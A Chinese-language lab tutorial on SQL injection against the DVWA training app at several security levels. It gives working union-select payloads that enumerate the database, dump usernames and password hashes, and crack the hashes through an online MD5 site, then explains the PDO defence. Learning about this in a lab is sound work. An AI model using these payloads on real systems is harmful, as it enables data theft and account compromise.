目录
一、SQL注入
1、SQL注入漏洞原理
把SQL命令插入到Web表单提交、或输入域名、或页面提交的查询字符串中,从而达到欺骗服务器执行恶意的SQL命令。
2、SQL注入类型
- 字符型
- 数字型
- 搜索型
3、SQL注入过程
- 判断是否存在注入,注入是字符型还是数字型;
- 猜解SQL查询语句中的字段数;
- 确定显示位置;
- 获取当前数据库;
- 获取数据库中的表;
- 获取表中的字段名;
- 下载数据
二、实验环境
1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite
2、DVWA服务器:Windows Server 2003(192.168.247.129),启动phpStudy。
三、实验步骤
安全级别:LOW
查看源码
由源码可以看出,LOW级别的SQL注入对参数id的内容进行任何检查和过滤,存在明显的SQL注入,并且是字符型注入。
使用场景
1、判断是否存在注入,注入是字符型还是数字型
输入1,查询成功,存在SQL注入
输入 1’ and ‘1’=’1 或者 1’ or ‘1234’ = ‘1234,成功返回结果,证明该SQL注入为字符型。
2、猜解SQL查询语句中的字段数;
在输入框中输入 1’ order by 1 # 和 1’ order by 2 # 时都返回正常;对比源码,这条语句的意思是查询users表中user_id为1的数据并按第一(二)字段进行。
在输入框中输入1’ order by 3 # 时,返回错误(Unknown column '3' in 'order clause'),说明该表中的字段数为2,有两列数据
3、确定字段的显示位置
当确定字段数后,接下来使用union select联合查询继续获取数据
1’ union select 1,2 # //1在First name中显示,2在Surname中显示
4、获取当前的数据库名
1' union select version(),database() # //在1的位置显示数据库的版本,在2的位置显示数据库名
5、获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # //在2的位置显示数据库中的表
6、获取指定表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ # //在2的位置显示users表中的字段名
7、获取数据
1' union select user,password from users # //在1的位置显示用户名,在2的位置显示加密的密码
使用SOMD5对密码进行解密
安全等级:Medium
查看源码
观察源码可以看到mysql_real_escape_string函数对特殊字符\x00、\n、\r、\x1a、'、" 等进行转义;存在数字型SQL注入;同时设置了下拉选择表单,控制用户的输入;由下图可以看出用户只能选择数字1-5。
使用场景
1、判断是否存在注入,注入是字符型还是数字型
借助Burp Suite工具对抓取的数据包进行修改(Post方式),实现SQL注入。
1 and 1=1 或者 1 or 1234 = 1234 //均成功出现结果,存在SQL注入,且为数字型
2、猜解SQL查询语句中的字段数
1 order by 2
通过尝试,判断字段数为2
3、确定显示位置
1 union select 1,2 //1显示在First name的位置,2显示在Surname的位置
4、获取当前数据库名
1 union select 1,database() //在2的位置显示数据库名dvwa
5、获取数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
6、获取指定表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
因为table_name='users' 中还有单引号,会进行转义,所以需要将 'users' 进行编码,然后进行查询。
7、获取数据
1 union select user,password from users //获取用户名和加密的密码
可通过解密工具,得到明文密码(https://www.somd5.com/)
安全级别:High
查看源码
High级别在SQL查询语句中添加了LIMIT 1,一次控制值输入一个结果;我们可以通过 # 将其注释掉。其余操作与Low安全级别的操作一致。
1’ or ‘1234’ = ‘1234 #
1’ order by 1 #
1' union select 1,2 #
1’ union select 1,database() #
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
1' union select user,password from users #
安全级别:Impossible
查看源码
Impossible安全级别采用了PDO技术,划清了代码与数据的界限,从而有效地防御SQL注入; 且只有当返回的查询结果数量为1时,才会输出。